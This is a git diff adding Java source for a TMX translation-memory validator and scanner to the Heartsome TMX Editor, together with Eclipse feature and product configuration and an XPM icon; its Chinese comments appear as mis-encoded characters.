fEntityDepth); + fStringBuffer.append(value); + value.setValues(fStringBuffer); + scanningAttribute = false; + } + nonNormalizedValue.setValues(fStringBuffer2); + + // quote + int cquote = scanner.scanChar(); + if (cquote != quote) { + throw new RepairableException("attr_miss_endquote"); + } + return nonNormalizedValue.equals(value.ch, value.offset, value.length); + } + + private void normalizeWhitespace(XMLString value, int fromIndex) { + int end = value.offset + value.length; + for (int i = value.offset + fromIndex; i < end; ++i) { + int c = value.ch[i]; + // Performance: For XML 1.0 documents take advantage of + // the fact that the only legal characters below 0x20 + // are 0x09 (TAB), 0x0A (LF) and 0x0D (CR). Since we've + // already determined the well-formedness of these + // characters it is sufficient (and safe) to check + // against 0x20. -- mrglavas + if (c < 0x20) { + if (c == 0x09 || c == 0x0d || c == 0x0a) { + continue; + } + value.ch[i] = ' '; + illegalCharacter = true; + } + } + } + + private int isUnchangedByNormalization(XMLString value) { + int end = value.offset + value.length; + for (int i = value.offset; i < end; ++i) { + int c = value.ch[i]; + // Performance: For XML 1.0 documents take advantage of + // the fact that the only legal characters below 0x20 + // are 0x09 (TAB), 0x0A (LF) and 0x0D (CR). Since we've + // already determined the well-formedness of these + // characters it is sufficient (and safe) to check + // against 0x20. -- mrglavas + if (c < 0x20) { + return i - value.offset; + } + } + return -1; + } + + private int scanCharReferenceValue(XMLStringBuffer buf, XMLStringBuffer buf2) throws IOException, + TmxEndEntityException { + boolean hex = false; + if (entityScanner.skipChar('x')) { + if (buf2 != null) { + buf2.append('x'); + } + hex = true; + fStringBuffer3.clear(); + boolean digit = true; + + int c = entityScanner.peekChar(); + digit = (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F'); + if (digit) { + if (buf2 != null) { + buf2.append((char) c); + } + entityScanner.scanChar(); + fStringBuffer3.append((char) c); + + do { + c = entityScanner.peekChar(); + digit = (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F'); + if (digit) { + if (buf2 != null) { + buf2.append((char) c); + } + entityScanner.scanChar(); + fStringBuffer3.append((char) c); + } + } while (digit); + } else { + return -1; + } + } else { + fStringBuffer3.clear(); + boolean digit = true; + + int c = entityScanner.peekChar(); + digit = c >= '0' && c <= '9'; + if (digit) { + if (buf2 != null) { + buf2.append((char) c); + } + entityScanner.scanChar(); + fStringBuffer3.append((char) c); + + do { + c = entityScanner.peekChar(); + digit = c >= '0' && c <= '9'; + if (digit) { + if (buf2 != null) { + buf2.append((char) c); + } + entityScanner.scanChar(); + fStringBuffer3.append((char) c); + } + } while (digit); + } else { + return -1; + } + } + + if (!entityScanner.skipChar(';')) { + return -1; + } + if (buf2 != null) { + buf2.append(';'); + } + + // convert string to number + int value = -1; + try { + value = Integer.parseInt(fStringBuffer3.toString(), hex ? 16 : 10); + + // character reference must be a valid XML character + if (XMLChar.isInvalid(value)) { + return -1; + } + } catch (NumberFormatException e) { + return -1; + } + + // append corresponding chars to the given buffer + if (!XMLChar.isSupplemental(value)) { + buf.append((char) value); + } else { + // character is supplemental, split it into surrogate chars + buf.append(XMLChar.highSurrogate(value)); + buf.append(XMLChar.lowSurrogate(value)); + } + + // char refs notification code + if (fNotifyCharRefs && value != -1) { + // String literal = "#" + (hex ? "x" : "") + fStringBuffer3.toString(); + if (!scanningAttribute) { + // fCharRefLiteral = literal; + } + } + return value; + } + + private void normalizeWhitespace(XMLString value) { + normalizeWhitespace(value, 0); + } + + private void scanEntityReference() throws IOException, TmxEndEntityException { + // name + String name = entityScanner.scanName(); + if (name == null) { + return; + } + // 符åˆæ ‡å‡† + if (name.equals("amp") || name.equals("lt") || name.equals("gt") || name.equals("apos") || name.equals("quot")) { + if (entityScanner.skipChar(';')) { + } + } else { + } + } + + private void scanCharReference() throws IOException, TmxEndEntityException { + fStringBuffer2.clear(); + boolean hex = entityScanner.peekChar() == 'x'; + int ch = scanCharReferenceValue(fStringBuffer2, null); + if (ch != -1) { + int c = Integer.valueOf(fStringBuffer3.toString(), hex ? 16 : 10); + if (c < 0x20 && !XMLChar.isSpace(c)) { + return; + } + } + } + + private boolean scanSurrogates(XMLStringBuffer buf) throws IOException, TmxEndEntityException { + int high = entityScanner.scanChar(); + int low = entityScanner.peekChar(); + if (!XMLChar.isLowSurrogate(low)) { + error("invalid char in content"); + return false; + } + + entityScanner.scanChar(); + + int c = XMLChar.supplemental((char) high, (char) low); + + if (XMLChar.isInvalid(c)) { + error("invalid char in content"); + return false; + } + + // fill in the buffer + buf.append((char) high); + buf.append((char) low); + + return true; + } + + private void setScannerState(int newState) { + scanState = newState; + } + + private void copyQname(QName src, QName dest) { + dest.localpart = src.localpart; + dest.prefix = src.prefix; + dest.rawname = src.rawname; + dest.uri = src.uri; + } + + /** + * åªè®¾ç½®è°ƒè¯•ä¿¡æ¯ã€‚ + * @param msg + * @throws RepairableException + * ; + */ + private void newRepairableException(String msg) throws RepairableException { + newRepairableException(Messages.getString("tmxeditor.tmxFileValidator.autofix.unknown"), msg); + } + + private void newRepairableException(String reportMsg, String debugMsg) throws RepairableException { + newRepairableException(reportMsg, entityScanner.getLineNumber(), entityScanner.getOffsetNumber() + 1); + } + + private void newRepairableException(String msg, int line, int column) throws RepairableException { + RepairableException e = new RepairableException(msg); + e.setColumn(column); + e.setRow(line); + throw e; + } + + static void error(String error) { + System.err.println(error); + } + + class FatalErrorException extends TmxValidatorException { + private static final long serialVersionUID = 1L; + + public FatalErrorException() { + super(); + } + + public FatalErrorException(String message) { + super(message); + } + + public FatalErrorException(Throwable cause) { + super(cause); + } + } + + class TmxSchemaException extends TmxValidatorException { + private static final long serialVersionUID = 1L; + + public TmxSchemaException() { + super(); + } + + public TmxSchemaException(String message) { + super(message); + } + + public TmxSchemaException(Throwable cause) { + super(cause); + } + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxSchema.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxSchema.java new file mode 100644 index 0000000..f1f5192 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxSchema.java @@ -0,0 +1,135 @@ +/** + * TmxSchema.java + * + * Version information : + * + * Date:2013-12-17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.utils.tmxvalidator; + +import java.util.HashMap; +import java.util.Map; + +import org.apache.xerces.util.SymbolTable; +import org.apache.xerces.util.XMLChar; +import org.apache.xerces.xni.QName; +import org.apache.xerces.xni.XMLString; + +/** + * @author Austen + * @version + * @since JDK1.6 + */ +public class TmxSchema { + + public static final SymbolTable tmxElements = new SymbolTable(10); + public static final SymbolTable inlineElements = new SymbolTable(7); + public static final SymbolTable acceptText = new SymbolTable(); + + private boolean passed = false; + + private Map map = new HashMap(); + + public TmxSchema() { + // ,

    , , , , , , , , . + // Inline elements , , , , , , . + tmxElements.addSymbol("tmx"); + tmxElements.addSymbol("header"); + tmxElements.addSymbol("map"); + tmxElements.addSymbol("body"); + tmxElements.addSymbol("note"); + tmxElements.addSymbol("prop"); + tmxElements.addSymbol("tu"); + tmxElements.addSymbol("tuv"); + tmxElements.addSymbol("seg"); + tmxElements.addSymbol("ude"); + + inlineElements.addSymbol("bpt"); + inlineElements.addSymbol("ept"); + inlineElements.addSymbol("hi"); + inlineElements.addSymbol("it"); + inlineElements.addSymbol("ph"); + inlineElements.addSymbol("sub"); + inlineElements.addSymbol("ut"); + + acceptText.addSymbol("note"); + acceptText.addSymbol("prop"); + acceptText.addSymbol("seg"); + acceptText.addSymbol("bpt"); + acceptText.addSymbol("ept"); + acceptText.addSymbol("hi"); + acceptText.addSymbol("sub"); + + map.put("tmx", 1); + map.put("header", 12); + map.put("map", 13); + map.put("ude", 14); + map.put("body", 22); + map.put("tu", 23); + map.put("tuv", 24); + map.put("seg", 25); + + map.put("bpt", 201); + map.put("ept", 202); + map.put("hi", 203); + map.put("it", 204); + map.put("ph", 205); + map.put("sub", 206); + map.put("ut", 207); + + } + + public boolean isPassed() { + return passed; + } + + public boolean isInvalid(QName qname) { + return isInvalidElement(qname) && isInvalidInlineElement(qname); + } + + public boolean isInvalidElement(QName qname) { + return !tmxElements.containsSymbol(qname.rawname); + } + + public boolean isInvalidInlineElement(QName qname) { + return inlineElements.containsSymbol(qname.rawname); + } + + public boolean isEmpty(QName qname) { + return qname.equals("ude"); + } + + public boolean isTextAccept(QName qname, XMLString content) { + boolean spaces = true; + for (int i = content.offset; i < content.offset + content.length; i++) { + spaces = spaces && XMLChar.isSpace(content.ch[i]); + } + if (spaces) { + return true; + } + return acceptText.containsSymbol(qname.rawname); + } + + public boolean isElementAccept(QName qname, QName qname1) { + + if (isInvalidElement(qname1)) { + return false; + } + + if (qname.rawname.equals("prop") || qname.rawname.equals("note")) { + return false; + } + if (qname1.rawname.equals("prop") || qname1.rawname.equals("note")) { + int i = map.get(qname.rawname); + return i == 12 || i == 23 || i == 24; + } + return map.get(qname.rawname) + 1 == map.get(qname1.rawname); + } + + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxValidator.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxValidator.java new file mode 100644 index 0000000..56a8c72 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxValidator.java @@ -0,0 +1,92 @@ +/** + * TmxValidator.java + * + * Version information : + * + * Date:2013-11-28 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.utils.tmxvalidator; + +import java.io.File; +import java.io.IOException; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.swt.custom.StyledText; + +/** + * @author Austen + * @version + * @since JDK1.6 + */ +public class TmxValidator { + + private boolean debug = false; + private boolean report = false; + private boolean normalize = false; + private boolean output = false; + private boolean correctEncoding = false; + + private StyledText styledText = null; + private IProgressMonitor monitor = null; + + public TmxValidator(IProgressMonitor monitor) { + this.monitor = monitor; + } + + public void validate(String tmxFile) { + debug = false; + correctEncoding = true; + if (debug) { + System.out.println("debug:" + debug); + System.out.println("report:" + report); + System.out.println("normalize:" + normalize); + System.out.println("output:" + output); + } + + final ReportBoard board = new ReportBoard(styledText); + CorrectWriter cwriter = null; + try { + File f = new File(tmxFile); + String newpath = f.getName(); + newpath = f.getParent() + "\\" +newpath.substring(0, newpath.length() - 4) + "_fixed.tmx"; + cwriter = new CorrectWriter(newpath); + cwriter.setCorrectEncoding(correctEncoding); + } catch (IOException e) { + e.printStackTrace(); + } + + TmxScanner2 scanner = new TmxScanner2(tmxFile); + scanner.setReportBoard(board); + scanner.setCorrectWriter(cwriter); + scanner.run(monitor); + } + + public void setDebug(boolean debug) { + this.debug = debug; + } + + public void setReport(boolean report) { + this.report = report; + } + + public void setStyledText(StyledText styledText) { + this.styledText = styledText; + } + + public void setNormalize(boolean normalize) { + this.normalize = normalize; + } + + public void setOutput(boolean output) { + this.output = output; + } + + public void setCorrectEncoding(boolean correctEncoding) { + this.correctEncoding = correctEncoding; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxValidatorException.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxValidatorException.java new file mode 100644 index 0000000..bcf62da --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxValidatorException.java @@ -0,0 +1,53 @@ +/** + * TmxValidatorException.java + * + * Version information : + * + * Date:2013-12-18 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.utils.tmxvalidator; + +/** + * @author Austen + * @version + * @since JDK1.6 + */ +class TmxValidatorException extends Exception { + private static final long serialVersionUID = 1L; + + private int row = 0; + private int column = 0; + + public TmxValidatorException() { + super(); + } + + public TmxValidatorException(String message) { + super(message); + } + + public TmxValidatorException(Throwable cause) { + super(cause); + } + + public int getRow() { + return row; + } + + public void setRow(int row) { + this.row = row; + } + + public int getColumn() { + return column; + } + + public void setColumn(int column) { + this.column = column; + } +}; diff --git a/te/net.heartsome.cat.te.core/temp/.log/HSCATE b/te/net.heartsome.cat.te.core/temp/.log/HSCATE new file mode 100644 index 0000000..e69de29 diff --git a/te/net.heartsome.cat.te.feature/.project b/te/net.heartsome.cat.te.feature/.project new file mode 100644 index 0000000..238360d --- /dev/null +++ b/te/net.heartsome.cat.te.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.te.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/te/net.heartsome.cat.te.feature/TmxEditor.product b/te/net.heartsome.cat.te.feature/TmxEditor.product new file mode 100644 index 0000000..8c08a3d --- /dev/null +++ b/te/net.heartsome.cat.te.feature/TmxEditor.product @@ -0,0 +1,78 @@ + + + + + + + + + %about + + + + + + + + --launcher.defaultAction +openFile + -Dfile.encoding=UTF-8 +-Xms512m +-Xmx512m +-XX:PermSize=96m +-XX:MaxPermSize=96m +-Xmn256m +-Dversion=8.0.1 +-Ddate=20140110 + -XstartOnFirstThread -Dorg.eclipse.swt.internal.carbon.smallFonts + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.feature/build.properties b/te/net.heartsome.cat.te.feature/build.properties new file mode 100644 index 0000000..970fe5c --- /dev/null +++ b/te/net.heartsome.cat.te.feature/build.properties @@ -0,0 +1,3 @@ +bin.includes = feature.xml,\ + plugin_customization.ini,\ + icons/ diff --git a/te/net.heartsome.cat.te.feature/feature.xml b/te/net.heartsome.cat.te.feature/feature.xml new file mode 100644 index 0000000..4826895 --- /dev/null +++ b/te/net.heartsome.cat.te.feature/feature.xml @@ -0,0 +1,272 @@ + + + + + [-en-] +--------------------------------- +What's new in Heartsome TMX Editor 8.0: +1. High performance TMX editing and maintenance +* TMX source text and translation editing +* TU attributes editing +* TU comments editing +* Keyword search +* Built-in filters +2. Conversion TMX to and from other file formats +* Conversion of TMX to DOCX / XLSX / TXT / TBX / HSTM +* Conversion of DOCX / XLSX / TXT / TBX / HSTM to TMX +3. TMX QA +* Extensive QA checks +* QA reports +* Work directly with QA results +4. Editing and maintenance of Heartsome File-based TM (HSTM) +* TM editing of both source text and translation +* TU attributes editing +* TU comments editing +* Keyword search +* Built-in filters +5. Clean up TMX and Heartsome File-based TM (HSTM) +[-zh-] +--------------------------------- +Hearstome TMX Editor 8.0 新特性: +一ã€TMX 文件高性能编辑和维护 +* TMX æºæ–‡å’Œè¯‘文编辑 +* 翻译å•å…ƒå±žæ€§ç¼–辑 +* 翻译å•å…ƒæ‰¹æ³¨ç¼–辑 +* 关键字æœç´¢ +* 内置快速过滤器 +二ã€TMX 与其他格å¼æ–‡ä»¶çš„è½»æ¾è½¬æ¢ +* TMX 转æ¢ä¸º DOCX / XLSX / TXT / TBX / HSTM +* DOCX / XLSX / TXT / TBX / HSTM 转æ¢ä¸º TMX +三ã€TMX çš„ QA 功能 +* å¤šç§ QA 检查项 +* ç”Ÿæˆ QA 报告 +* å¤„ç† QA 结果 +å››ã€Heartsome 文件型记忆库 (HSTM) 专用编辑和维护 +* 记忆库æºæ–‡å’Œè¯‘文编辑 +* 翻译å•å…ƒå±žæ€§ç¼–辑 +* 翻译å•å…ƒæ‰¹æ³¨ç¼–辑 +* 关键字æœç´¢ +* 内置快速过滤器 +五ã€TMX å’Œ Heartsome 文件型记忆库 (HSTM) 无用内容批é‡æ¸…ç† + + + + Copyright © Heartsome Technologies Ltd. All rights reserved. +版æƒæ‰€æœ‰ © 瀚特盛科技有é™å…¬å¸ ä¿ç•™æ‰€æœ‰æƒåˆ© + + + + Please refer to Heartsome Software End User License Agreement (EULA). +请å‚考 Heartsome 软件最终用户许å¯å议。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.feature/icons/linux/tmx.xpm b/te/net.heartsome.cat.te.feature/icons/linux/tmx.xpm new file mode 100644 index 0000000..01533ab --- /dev/null +++ b/te/net.heartsome.cat.te.feature/icons/linux/tmx.xpm @@ -0,0 +1,9239 @@ +/* XPM */ +static char * C:\Users\Jason\Desktop\tmx_xpm[] = { +"128 128 9108 3", +" c None", +". c #FFFFFF", +"+ c #F2F6F7", +"@ c #A9C9CF", +"# c #81B4BD", +"$ c #6BAAB7", +"% c #7BB1BB", +"& c #A4C5CC", +"* c #E0EAEC", +"= c #A5C6CD", +"- c #45A6B7", +"; c #3499AD", +"> c #2F8CA0", +", c #2C8294", +"' c #2C8193", +") c #2B8092", +"! c #2B7F91", +"~ c #2E8A9D", +"{ c #3398AC", +"] c #40A7BA", +"^ c #90BBC3", +"/ c #AFCCD1", +"( c #359AAF", +"_ c #297687", +": c #294C56", +"< c #2B464C", +"[ c #2D4146", +"} c #2C4045", +"| c #2C3F44", +"1 c #2B3E42", +"2 c #2A3D41", +"3 c #2A3C41", +"4 c #2A3D42", +"5 c #2B3E43", +"6 c #2D4045", +"7 c #2B3F44", +"8 c #2B3D42", +"9 c #2C454B", +"0 c #294C55", +"a c #286C7D", +"b c #3192A5", +"c c #8CB9C1", +"d c #ECF2F4", +"e c #40A8BB", +"f c #2A7A8C", +"g c #2E3E42", +"h c #323232", +"i c #313334", +"j c #303233", +"k c #2F3132", +"l c #2D2F30", +"m c #2C2D2E", +"n c #2A2C2D", +"o c #2A2B2C", +"p c #2E3031", +"q c #2C2E2F", +"r c #2B2D2E", +"s c #2F3031", +"t c #2E2F30", +"u c #30393B", +"v c #286B7B", +"w c #39A3B7", +"x c #D3E2E5", +"y c #323434", +"z c #2A474F", +"A c #225A6C", +"B c #21596C", +"C c #22596C", +"D c #21586A", +"E c #215567", +"F c #1F5163", +"G c #1D4D5D", +"H c #1C4858", +"I c #1A4554", +"J c #1A4453", +"K c #1B4756", +"L c #1C4A5A", +"M c #1E4F60", +"N c #205365", +"O c #215769", +"P c #21576A", +"Q c #215668", +"R c #1F5061", +"S c #1C4A59", +"T c #1D4C5C", +"U c #1F4E5F", +"V c #1F5161", +"W c #1F4F5F", +"X c #1E4D5D", +"Y c #1D4B5A", +"Z c #1C4958", +"` c #1E4E5E", +" . c #205262", +".. c #215566", +"+. c #225869", +"@. c #23596B", +"#. c #235A6C", +"$. c #22586A", +"%. c #205363", +"&. c #1F5060", +"*. c #1E4D5C", +"=. c #1E4E5D", +"-. c #205464", +";. c #215767", +">. c #235A6B", +",. c #235B6C", +"'. c #245B6C", +"). c #255866", +"!. c #2B484F", +"~. c #3090A4", +"{. c #8AB8C1", +"]. c #7CB1BC", +"^. c #2F8A9E", +"/. c #2C454C", +"(. c #8AC380", +"_. c #BAE783", +":. c #C3EB82", +"<. c #BDE883", +"[. c #BEE984", +"}. c #BFE986", +"|. c #C0E986", +"1. c #C0E987", +"2. c #C1E988", +"3. c #C2EA89", +"4. c #C2EA8A", +"5. c #C3EA8B", +"6. c #C3EA8C", +"7. c #C4EA8D", +"8. c #C4EA8E", +"9. c #C5EB8F", +"0. c #C5EB90", +"a. c #C6EB91", +"b. c #C7EB92", +"c. c #C7EB93", +"d. c #C7EB94", +"e. c #C8EC95", +"f. c #C8EC96", +"g. c #C9EC97", +"h. c #CAEC98", +"i. c #C9EC99", +"j. c #CAEC99", +"k. c #CAED9A", +"l. c #CAED9C", +"m. c #CBED9D", +"n. c #CBED9E", +"o. c #CAED9F", +"p. c #CAEC9F", +"q. c #C8E99E", +"r. c #C4E49D", +"s. c #BFDD9B", +"t. c #B9D599", +"u. c #B4CD96", +"v. c #C2DE8C", +"w. c #D4F581", +"x. c #D0F086", +"y. c #C8E88D", +"z. c #C0DF9E", +"A. c #C4E5A0", +"B. c #C6E9A2", +"C. c #C7EAA3", +"D. c #C6E9A3", +"E. c #C4E6A1", +"F. c #C0E2A0", +"G. c #BDDC9E", +"H. c #B9D69C", +"I. c #BCD995", +"J. c #CAE98B", +"K. c #CBEA8A", +"L. c #C4E28F", +"M. c #BDDA97", +"N. c #B9D79C", +"O. c #BAD99C", +"P. c #B8D69B", +"Q. c #B7D498", +"R. c #BFDD8F", +"S. c #CEEF84", +"T. c #C5E489", +"U. c #AFCB98", +"V. c #B2CF99", +"W. c #B4D49A", +"X. c #B8D99C", +"Y. c #BADD9D", +"Z. c #BBE09D", +"`. c #BCE19E", +" + c #BCE29E", +".+ c #BBE19D", +"++ c #BAE09C", +"@+ c #B9DF9B", +"#+ c #B8DE9A", +"$+ c #B7DE9A", +"%+ c #B5DB98", +"&+ c #B1D495", +"*+ c #ADCF93", +"=+ c #AACB8E", +"-+ c #C7EB76", +";+ c #B1D284", +">+ c #A6C78E", +",+ c #A8CB8F", +"'+ c #AACF90", +")+ c #ACD391", +"!+ c #ACD591", +"~+ c #ABD390", +"{+ c #A9D28F", +"]+ c #A9D18E", +"^+ c #A8D18E", +"/+ c #A7D18D", +"(+ c #A7CF8C", +"_+ c #A5CF8B", +":+ c #A4CE8B", +"<+ c #A2CD89", +"[+ c #A1CC88", +"}+ c #A0CB86", +"|+ c #A3CB85", +"1+ c #9CC885", +"2+ c #7DBE92", +"3+ c #67AAB6", +"4+ c #68AAB6", +"5+ c #22586B", +"6+ c #BBE783", +"7+ c #EAFE80", +"8+ c #EDFF8B", +"9+ c #ECFF86", +"0+ c #EDFF88", +"a+ c #EEFF8B", +"b+ c #EEFF8D", +"c+ c #EFFF8F", +"d+ c #EFFF91", +"e+ c #F0FF93", +"f+ c #F0FF95", +"g+ c #F0FF97", +"h+ c #F0FF99", +"i+ c #F1FF9C", +"j+ c #F2FF9E", +"k+ c #F2FF9F", +"l+ c #F2FFA1", +"m+ c #F2FFA3", +"n+ c #F2FFA4", +"o+ c #F3FFA6", +"p+ c #F3FFA8", +"q+ c #F3FFAA", +"r+ c #F3FFAC", +"s+ c #F3FFAE", +"t+ c #F4FFAF", +"u+ c #F4FFB1", +"v+ c #F4FFB3", +"w+ c #F4FFB5", +"x+ c #F4FFB6", +"y+ c #F5FFB8", +"z+ c #F4FFB9", +"A+ c #F4FFBB", +"B+ c #F5FFBD", +"C+ c #F5FFBE", +"D+ c #F5FFBF", +"E+ c #F5FFC1", +"F+ c #F4FEC2", +"G+ c #F3FDC3", +"H+ c #F1FAC4", +"I+ c #EEF7C5", +"J+ c #EAF2C6", +"K+ c #E7EEC7", +"L+ c #E6EEC7", +"M+ c #EFFDC7", +"N+ c #F0FFC8", +"O+ c #EDF9C9", +"P+ c #EDF8CA", +"Q+ c #EEF7CC", +"R+ c #F1FBCD", +"S+ c #F2FCCD", +"T+ c #F2FCCE", +"U+ c #F0F9CD", +"V+ c #EDF7CD", +"W+ c #EAF3CD", +"X+ c #EAF2CE", +"Y+ c #EDF8CD", +"Z+ c #EDF9CC", +"`+ c #ECF7CC", +" @ c #EAF4CD", +".@ c #E8F0CD", +"+@ c #E9F1CC", +"@@ c #E8F1CC", +"#@ c #E7EFCB", +"$@ c #E5EDCB", +"%@ c #E7F0CA", +"&@ c #ECF8C8", +"*@ c #EEFBC7", +"=@ c #E6F0C8", +"-@ c #E1E9C6", +";@ c #E4ECC6", +">@ c #E5EFC4", +",@ c #E7F2C3", +"'@ c #E8F4C2", +")@ c #E9F5C2", +"!@ c #E9F6C1", +"~@ c #E9F6C0", +"{@ c #E8F6BE", +"]@ c #E8F5BD", +"^@ c #E7F4BB", +"/@ c #E6F4BA", +"(@ c #E5F3B8", +"_@ c #E3F0B7", +":@ c #DFEBB5", +"<@ c #DBE7B4", +"[@ c #D7E2B2", +"}@ c #E9FFAE", +"|@ c #DDEEAD", +"1@ c #D3DFAD", +"2@ c #D4E1AB", +"3@ c #D6E3A9", +"4@ c #D7E6A7", +"5@ c #D7E6A6", +"6@ c #D5E4A3", +"7@ c #D4E3A2", +"8@ c #D2E19F", +"9@ c #D1E19D", +"0@ c #D1E19C", +"a@ c #D1E09A", +"b@ c #D0E097", +"c@ c #CFE196", +"d@ c #CEE094", +"e@ c #CDE092", +"f@ c #CCDF90", +"g@ c #CBDE8E", +"h@ c #CDDF94", +"i@ c #C7DA87", +"j@ c #9DC782", +"k@ c #246377", +"l@ c #313738", +"m@ c #2F3C40", +"n@ c #57A5B3", +"o@ c #6BABB7", +"p@ c #2D8395", +"q@ c #2D4247", +"r@ c #BDE884", +"s@ c #ECFF85", +"t@ c #EEFF91", +"u@ c #EDFF8C", +"v@ c #EEFF8E", +"w@ c #EFFF90", +"x@ c #EFFF93", +"y@ c #EFFF95", +"z@ c #F1FF9B", +"A@ c #F1FF9E", +"B@ c #F1FF9F", +"C@ c #F3FFA5", +"D@ c #F3FFA7", +"E@ c #F3FFA9", +"F@ c #F3FFAB", +"G@ c #F4FFAD", +"H@ c #F5FFB7", +"I@ c #F5FFB9", +"J@ c #F5FFBA", +"K@ c #F5FFBB", +"L@ c #F5FFC0", +"M@ c #F6FFC3", +"N@ c #F6FFC5", +"O@ c #F6FFC6", +"P@ c #F6FFC7", +"Q@ c #F6FFC9", +"R@ c #F5FECA", +"S@ c #F3FCCB", +"T@ c #F1F9CD", +"U@ c #EEF5CD", +"V@ c #EAF0CD", +"W@ c #EAF2CF", +"X@ c #F2FFCF", +"Y@ c #F1FCD0", +"Z@ c #EAF0D1", +"`@ c #ECF2D2", +" # c #E9F0CE", +".# c #B6BCA0", +"+# c #6D7161", +"@# c #797D6B", +"## c #C2C8AA", +"$# c #D4DCBB", +"%# c #D6DDBE", +"&# c #D7DFC0", +"*# c #CAD1B3", +"=# c #C4CCAE", +"-# c #CCD2B7", +";# c #CBD0BA", +"># c #E2E7D0", +",# c #E8EED5", +"'# c #E9F0D5", +")# c #ECF4D5", +"!# c #EDF6D4", +"~# c #EDF5D4", +"{# c #EBF3D3", +"]# c #E8EED3", +"^# c #E5EBD2", +"/# c #E4E9D1", +"(# c #E8F0D1", +"_# c #F0FCCF", +":# c #EEFACD", +"<# c #E6EECE", +"[# c #E6EECD", +"}# c #E7F0CB", +"|# c #E9F3CA", +"1# c #EBF5C9", +"2# c #EBF6C9", +"3# c #EBF6C7", +"4# c #EBF7C6", +"5# c #EBF6C5", +"6# c #EAF6C3", +"7# c #E8F4C0", +"8# c #E6F2BE", +"9# c #E2EDBD", +"0# c #DDE8BB", +"a# c #D8E2B8", +"b# c #E8FAB6", +"c# c #E5F7B4", +"d# c #D4DDB4", +"e# c #D4DFB2", +"f# c #D5E1B0", +"g# c #D6E3AE", +"h# c #D6E3AC", +"i# c #D4E1AA", +"j# c #D2DFA8", +"k# c #D1DEA6", +"l# c #D0DEA4", +"m# c #D0DEA2", +"n# c #CFDDA0", +"o# c #CFDD9E", +"p# c #CEDD9B", +"q# c #CEDE99", +"r# c #CEDF97", +"s# c #CEDF96", +"t# c #D0E099", +"u# c #CADC8D", +"v# c #A0C782", +"w# c #246479", +"x# c #303739", +"y# c #2F3D41", +"z# c #2A7889", +"A# c #5AA6B3", +"B# c #6CABB6", +"C# c #23586B", +"D# c #BBE881", +"E# c #EBFF7E", +"F# c #EDFF89", +"G# c 